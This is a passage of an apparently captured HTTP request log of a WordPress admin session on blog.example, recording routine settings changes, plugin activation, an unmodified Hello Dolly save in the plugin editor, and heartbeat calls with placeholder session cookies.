"option_page=discussion&action=update&_wpnonce=1ac818c98b&_wp_http_referer=%2Fwp-admin%2Foptions-discussion.php&default_pingback_flag=1&default_ping_status=open&default_comment_status=open&require_name_email=1&close_comments_days_old=14&show_comments_cookies_opt_in=1&thread_comments=1&thread_comments_depth=5&comments_per_page=50&default_comments_page=newest&comment_order=asc&comments_notify=1&moderation_notify=1&wp_notes_notify=1&comment_previously_approved=1&comment_max_links=2&moderation_keys=buy+now%0D%0Acheap+watches&disallowed_keys=&show_avatars=1&avatar_rating=G&avatar_default=mystery&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-discussion.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 283", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": "option_page=media&action=update&_wpnonce=fe10b63129&_wp_http_referer=%2Fwp-admin%2Foptions-media.php&thumbnail_size_w=160&thumbnail_size_h=150&thumbnail_crop=1&medium_size_w=300&medium_size_h=300&large_size_w=1024&large_size_h=1024&uploads_use_yearmonth_folders=1&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-media.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 339", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": "option_page=writing&action=update&_wpnonce=1e8037a08d&_wp_http_referer=%2Fwp-admin%2Foptions-writing.php&default_category=1&default_post_format=0&mailserver_url=mail.example.com&mailserver_port=110&mailserver_login=login%40example.com&mailserver_pass=&default_email_category=1&ping_sites=https%3A%2F%2Fexample.org%2Frpc&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-writing.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 226", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=category", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203334"], "body": "action=add-tag&screen=edit-category&taxonomy=category&post_type=post&_wpnonce_add-tag=f99019c9ad&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&tag-name=Food+%26+Drink&slug=food-drink&parent=-1&description="} +{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=akismet%2Fakismet.php&plugin_status=all&paged=1&s&_wpnonce=8b9b53e587", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""} +{"method": "GET", "target": "/wp-admin/options-general.php?page=akismet-key-config&view=start", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=hello.php&plugin_status=all&paged=1&s&_wpnonce=5f6bf67faf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203340"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "pointer=plugin_editor_notice&action=dismiss-wp-pointer"} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php&wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""} +{"method": "GET", "target": "/?wp_scrape_key=8e954aa3fcf28d6a7f8071208fa1b507&wp_scrape_nonce=743587269", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP Cookie check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342", "Connection: close"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 3611", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": "nonce=ce99c3187f&_wp_http_referer=%2Fwp-admin%2Fplugin-editor.php%3Fplugin%3Dhello.php%26file%3Dhello.php&newcontent=%3C%3Fphp%0A%2F**%0A+*+%40package+Hello_Dolly%0A+*+%40version+1.7.2%0A+*%2F%0A%2F*%0APlugin+Name%3A+Hello+Dolly%0APlugin+URI%3A+http%3A%2F%2Fwordpress.org%2Fplugins%2Fhello-dolly%2F%0ADescription%3A+This+is+not+just+a+plugin%2C+it+symbolizes+the+hope+and+enthusiasm+of+an+entire+generation+summed+up+in+two+words+sung+most+famously+by+Louis+Armstrong%3A+Hello%2C+Dolly.+When+activated+you+will+randomly+see+a+lyric+from+%3Ccite%3EHello%2C+Dolly%3C%2Fcite%3E+in+the+upper+right+of+your+admin+screen+on+every+page.%0AAuthor%3A+Example+Author%0AVersion%3A+1.7.2%0AAuthor+URI%3A+http%3A%2F%2Fexample.com%2F%0AText+Domain%3A+hello-dolly%0A*%2F%0A%0A%2F%2F+Don't+load+directly.%0Aif+(+!+defined(+'ABSPATH'+)+)+%7B%0A%09exit%3B%0A%7D%0A%0Afunction+hello_dolly_get_lyric()+%7B%0A%09%2F**+These+are+the+lyrics+to+Hello+Dolly+*%2F%0A%09%24lyrics+%3D+%22Hello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+take+her+wrap%2C+fellas%0ADolly%2C+never+go+away+again%0AHello%2C+Dolly%0AWell%2C+hello%2C+Dolly%0AIt's+so+nice+to+have+you+back+where+you+belong%0AYou're+lookin'+swell%2C+Dolly%0AI+can+tell%2C+Dolly%0AYou're+still+glowin'%2C+you're+still+crowin'%0AYou're+still+goin'+strong%0AI+feel+the+room+swayin'%0AWhile+the+band's+playin'%0AOne+of+our+old+favorite+songs+from+way+back+when%0ASo%2C+golly%2C+gee%2C+fellas%0AHave+a+little+faith+in+me%2C+fellas%0ADolly%2C+never+go+away%0APromise%2C+you'll+never+go+away%0ADolly'll+never+go+away+again%22%3B%0A%0A%09%2F%2F+Here+we+split+it+into+lines.%0A%09%24lyrics+%3D+explode(+%22%5Cn%22%2C+%24lyrics+)%3B%0A%0A%09%2F%2F+And+then+randomly+choose+a+line.%0A%09return+wptexturize(+%24lyrics%5B+mt_rand(+0%2C+count(+%24lyrics+)+-+1+)+%5D+)%3B%0A%7D%0A%0A%2F%2F+This+just+echoes+the+chosen+line%2C+we'll+position+it+later.%0Afunction+hello_dolly()+%7B%0A%09%24chosen+%3D+hello_dolly_get_lyric()%3B%0A%09%24lang+++%3D+''%3B%0A%09if+(+'en_'+!%3D%3D+substr(+get_user_locale()%2C+0%2C+3+)+)+%7B%0A%09%09%24lang+%3D+'+lang%3D%22en%22'%3B%0A%09%7D%0A%0A%09printf(%0A%09%09'%3Cp+id%3D%22dolly%22%3E%3Cspan+class%3D%22screen-reader-text%22%3E%25s+%3C%2Fspan%3E%3Cspan+dir%3D%22ltr%22%25s%3E%25s%3C%2Fspan%3E%3C%2Fp%3E'%2C%0A%09%09__(+'Quote+from+Hello+Dolly+song%2C+by+Jerry+Herman%3A'+)%2C%0A%09%09%24lang%2C%0A%09%09%24chosen%0A%09)%3B%0A%7D%0A%0A%2F%2F+Now+we+set+that+function+up+to+execute+when+the+admin_notices+action+is+called.%0Aadd_action(+'admin_notices'%2C+'hello_dolly'+)%3B%0A%0A%2F%2F+We+need+some+CSS+to+position+the+paragraph.%0Afunction+dolly_css()+%7B%0A%09echo+%22%0A%09%3Cstyle+type%3D'text%2Fcss'%3E%0A%09%23dolly+%7B%0A%09%09float%3A+right%3B%0A%09%09padding%3A+5px+10px%3B%0A%09%09margin%3A+0%3B%0A%09%09font-size%3A+12px%3B%0A%09%09line-height%3A+1.6666%3B%0A%09%7D%0A%09.rtl+%23dolly+%7B%0A%09%09float%3A+left%3B%0A%09%7D%0A%09.block-editor-page+%23dolly+%7B%0A%09%09display%3A+none%3B%0A%09%7D%0A%09%40media+screen+and+(max-width%3A+782px)+%7B%0A%09%09%23dolly%2C%0A%09%09.rtl+%23dolly+%7B%0A%09%09%09float%3A+none%3B%0A%09%09%09padding-left%3A+0%3B%0A%09%09%09padding-right%3A+0%3B%0A%09%09%7D%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%09%22%3B%0A%7D%0A%0Aadd_action(+'admin_head'%2C+'dolly_css'+)%3B%0A&action=edit-theme-plugin-file&file=hello.php&plugin=hello.php&docs-list="} +{"method": "GET", "target": "/wp-admin/theme-editor.php?file=style.css&theme=twentytwentyfive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203342"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=twentytwentyfour", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203349"], "body": ""} +{"method": "GET", "target": "/?customize_changeset_uuid=3a1c1c1e-e2b2-47ca-a042-c99fe3ad52dd&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php?return=%2Fwp-admin%2Fthemes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203350"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 218", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-13&data%5Bwp-check-locked-posts%5D%5B%5D=post-11&data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 82", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": "interval=60&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=false"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With: XMLHttpRequest", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203356"], "body": 